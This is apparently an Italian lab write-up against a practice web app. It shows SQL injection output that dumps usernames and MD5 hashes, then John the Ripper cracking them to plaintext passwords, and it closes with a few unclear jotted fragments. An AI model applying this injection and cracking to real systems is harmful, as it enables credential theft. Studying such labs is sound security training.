

HASHING

```
ID: '%' and 1=0 union select null,
First name:
Surname: admin
admin
admin
5f4dcc3b5aa765d61d8327deb882cf99

ID: '%' and 1=0 union select null,
First name:
Surname: Gordon
Brown
gordonb
e99a18c428cb38d5f260853678922e03

ID: '%' and 1=0 union select null,
First name:
Surname: Hack
Me
1337
8d3533d75ae2c3966d7e0d4fcc69216b

ID: '%' and 1=0 union select null,
First name:
Surname: Pablo
Picasso
pablo
0d107d09f5bbe40cade3de5c71e9e9b7

ID: '%' and 1=0 union select null,
First name:
Surname: Bob
Smith
smithy
5f4dcc3b5aa765d61d8327deb882cf99
```

L'ultima volta abbiamo estratto con SQL Injection le utenze e le password MD5 del database.

```
1 admin:5f4dcc3b5aa765d61d8327deb882cf99
2 gordonb:e99a18c428cb38d5f260853678922e03
3 1337:8d3533d75ae2c3966d7e0d4fcc69216b
4 pablo:0d107d09f5bbe40cade3de5c71e9e9b7
5 smithy:5f4dcc3b5aa765d61d8327deb882cf99]
```

Messi in ordine in un file txt

```
(kali) kali ~ /Desktop/ctf
$ john --show --format=Raw-MD5 hash.txt
admin:password
gordonb:abc123
1337:charley
pablo:letmein
smithy:password

5 password hashes cracked, 0 left
```

Esecuzione del comando John the Ripper per craccare gli hash.

Password craccate in meno di un secondo.

Come fa a trovarle in meno di un secondo?

Perché prende combina gli hash in input con una wordlist di password, se dovesse combaciare stampa il risultato

HA's 17 = 62480

john th ripper

b1480 = passw
b528B = cnc